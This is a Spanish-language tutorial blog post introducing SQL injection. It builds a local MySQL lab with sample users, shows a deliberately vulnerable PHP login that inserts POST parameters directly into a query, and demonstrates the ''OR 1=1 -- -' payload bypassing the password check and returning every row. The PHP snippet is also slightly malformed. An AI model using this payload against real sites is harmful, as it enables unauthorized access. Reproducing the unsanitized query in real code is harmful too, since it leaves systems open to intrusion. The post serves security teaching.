#SQL Injection - Parte 1

#Resumen del post

Mi intención de este primer post hablando de SQL injection es explicar y ayudar entender como funciona. Saber un poco los primeros pasos para lograr identificar y entender esta vulnerabilidad. Finalmente crearemos un ejempro para explicar como funcionaria un bypass en el login.

#¿Que es SQL injection?

Sql Injection o Inyección SQL es una vulnerabilidad que permite al atacante enviar o “inyectar” instrucciones SQL de forma maliciosa dentro del código SQL. En otras palabras, se aprovecha de poder modificar el comportamiento de las consultas realizadas a través de parámetros no deseados eso es debido a una incorrecta comprobación o filtrado de variables utilizadas que contienen código SQL.

#¿Como puedo reconozer una SQL injection?

Como he dicho anteriormente, este tipo de vulnerabilidad se aprovecha de una validación mediante sentencias SQL. Lo cual primero es necesario saber lo básico de SQL. Para ello una buena forma de aprender el comportamiento de una web es creando tu propio laboratorio de pruebas.
Yo recomiendo utilizar docker, ya que es muy fácil y ocupa muy poco.

Como podemos ver ocupan muy poco espacio.
images.png

Como ejemplo voy a utilizar MySQL pero lo suyo seria identificar que tipo de base de datos estamos atacando.
Primero de todo creamos nuestra base de datos y la información que queremos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)

mysql> CREATE DATABASE Users;
Query OK, 1 row affected (0.00 sec)

mysql> use Users;
Database changed
mysql> CREATE TABLE Users (
-> id int(10),
-> usuario varchar(30),
-> password varchar(30)
-> );
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> INSERT INTO Users
-> VALUES(1,'J4ck21','Est4EsMiPassword');
Query OK, 1 row affected (0.00 sec)
mysql> INSERT INTO Users
-> VALUES(2,'Admin','SoyELADMIN');
Query OK, 1 row affected (0.00 sec)

Ahora ya podemos ver lo que hay en esta tabla.

1
2
3
4
5
6
7
8
mysql> SELECT * FROM Users;
+------+---------+------------------+
| id | usuario | password |
+------+---------+------------------+
| 1 | J4ck21 | Est4EsMiPassword |
| 2 | Admin | SoyELADMIN |
+------+---------+------------------+
2 rows in set (0.00 sec)

Imaginemos que estamos en una página de login y la aplicación web tiene la siguiente sentencia:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$user = $_POST['usuario'];
$password = $_POST['password'];
$sql = "select usuario, password from users where usuario='.$user.' and password='.$password.' limit 0,1";
$result = mysql_query($sql);
$rows = mysql_fetch_array($result);
if($rows)
{
echo "Login successful" ;
create_session();
}else{
echo "login data invalid";
}
/>

Vamos a intentar hacer lo mismo pero intentando simular los parámetros que pondríamos en la petición post que hace para guardar el usuario y contraseña del admin.

#Credenciales correctas

1
2
3
4
5
6
7
mysql> SELECT usuario,password FROM Users where usuario='Admin' and password='SoyELADMIN' limit 1;
+---------+------------+
| usuario | password |
+---------+------------+
| Admin | SoyELADMIN |
+---------+------------+
1 row in set (0.00 sec)

#Credenciales erroneas

1
2
mysql> SELECT usuario,password FROM Users where usuario='Admin' and password='NOSOYELADMIN' limit 1;
Empty set (0.00 sec)

La segunda sentencia vemos que no nos devuelve filas por lo que devuelve false en el login. Para ello simplemente necesitamos que nos devuelva true y lo único que podemos hacer es inyectar código a través de la petición POST.

Para ello podríamos utilizar la mítica sentencia

1
'OR 1=1 -- -

Que está pasando en realidad con esta sentencia?¿

Nos devuelve true y encima todo lo que contiene la tabla.

1
2
3
4
5
6
7
8
mysql> SELECT usuario,password FROM Users where usuario='Admin' and password='NOSOYELADMIN'OR 1=1;-- - limit 1;
+---------+------------------+
| usuario | password |
+---------+------------------+
| J4ck21 | Est4EsMiPassword |
| Admin | SoyELADMIN |
+---------+------------------+
2 rows in set (0.00 sec)